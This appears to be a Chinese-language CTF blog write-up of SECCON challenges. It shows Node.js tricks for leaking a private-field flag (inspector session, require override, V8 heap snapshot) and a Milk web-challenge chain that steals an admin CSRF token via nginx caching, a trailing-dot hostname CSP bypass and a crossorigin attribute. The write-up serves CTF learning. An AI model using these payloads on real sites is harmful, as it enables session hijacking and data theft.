Beginners Capsule

import * as fs from 'fs';
// @ts-ignore
import {enableSeccompFilter} from './lib.js';
class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
}
const flag = new Flag(fs.readFileSync('flag.txt').toString());
fs.unlinkSync('flag.txt');
enableSeccompFilter();

程序简单就是读完flag删了,并且加了enableSeccompFilter,意思是禁止从/proc/self/mem(进程的内存变量)中读取,也就是防止非预期的,#号代表私有属性,由于执行的是ts的命令

Cmd: ['/node_modules/.bin/ts-node', 'index.ts']

在js中不支持#号代表的私有属性,可以使用tsc来将ts转换成js
图片

可以看到Flag的构造函数变成了

function Flag(flag) {
        _flag.set(this, void 0);
        __classPrivateFieldSet(this, _flag, flag);
    }

__classPrivateFieldSet方法主要是通过privateMap来设置的,并且最终会生成一个WeakMap类_flag,WeakMap是以{对象:值}存储的,所以可以通过get方法读值
图片

Capsule

version2主要执行方式是js

Cmd: ['node', 'index.js']

大佬们骚思路也很多
https://github.com/nodejs/node/issues/27404#issuecomment-569924796

由于inspectorNode.js中有一个内置模块,因此可以使用检查器以编程方式使用私有字段

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session();
session.connect();
session.post('Runtime.evaluate', {expression: 'flag'}, (e, d) => {
session.post('Runtime.getProperties', {objectId: d.result.objectId}, (e, d) => {
console.log(d.privateProperties[0].value.value);
});
});

或是直接函数提升来覆盖require

function require() {
const fs = process.mainModule.require('fs');
console.log(fs.readFileSync('flag.txt').toString());
}

或是用v8模块的getHeapSnapshot生成快照?然后打印seccon开头}结尾的数据

const v8 = require('v8');
const memory = v8.getHeapSnapshot().read();//生成当前 V8 堆的快照,并返回可读流
const index = memory.indexOf('SEC' + 'CON');
const len = memory.slice(index).indexOf('}');
const flagBuffer = memory.slice(index, index + len + 1);
console.log(flagBuffer.toString());

Milk

有两个子域:

milk.chal.seccon.jp
milk-api.chal.seccon.jp

功能大致分为:

  • /csrf-token
  • /notes/
    -- /get
    -- /post
    -- /flag
  • /users
    -- /signin
    -- /signup
    -- /signout

后端功能都由milk-api来实现,milk主要是向milk-api/csrf-token发送请求并获取token,然后调用csrfTokenCallback回调函数拿取milk/notes/get的存储数据图片

首先看/flag逻辑

router.get('/flag', async (ctx) => {
  if (!ctx.state.user.admin) {
    ctx.response.body = 'Flag is the privilege available only from admin, right?';
    ctx.response.status = 403;
    return;
  }
  ctx.response.body = Deno.env.get('FLAG');
});

其中user是从token中查找的,只要是admin即可
并且/users/signup的注册默认为false

Users.insertOne({username, password, admin: false});

并且note.php有一个隐藏的url表单/report,管理员收到后回去访问,那就得从这里入手,想办法获取admin的csrf-token,但是milk-api/notes路由下的token使用完会立即删除
nginx会缓存milk-api/csrf-token的请求,而且有个trick是访问milk.chal.seccon.jp.依然能解析正常

在DNS中,.代表根服务器,而以句点结尾的FQDN代表来自根服务器的显式查询。因此,以下主机名不同,但是结果相同。

但是由于csp中定义了connect-src(脚本接口加载的URL,API)为:

https://milk-api.chal.seccon.jp

但是由于加了个.,导致跨域被csp拦了,不过在note.php中的url是加载在script标签中的,可以通过添加crossorigin="use-credentials参数强制执行
所以payload为:

1.
POST https://milk.chal.seccon.jp/report

url=https://milk.chal.seccon.jp./note.php?_=aaaaaaaaaaaab crossorigin=use-credentials
2.
https://milk-api.chal.seccon.jp/csrf-token?_=aaaaaaaaaaaab
3.
https://milk-api.chal.seccon.jp/notes/flag?token=377dfac3-85c0-43ea-874b-579d788bee11

首先admin去访问https://milk.chal.seccon.jp./note.php?_=aaaaaaaaaaaab crossorigin=use-credentials

nginx首先会缓存csrf-token,但是script中加上了crossorigin导致调用jsonp失败,admin的token就不会被删除,现在再用aaaaaaaaaaaab去拿token就能得到与管理员一样的token了

图片

https://hackmd.io/@hakatashi/S15X3c1wv

https://www.gem-love.com/ctf/2641.html#Milk

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

code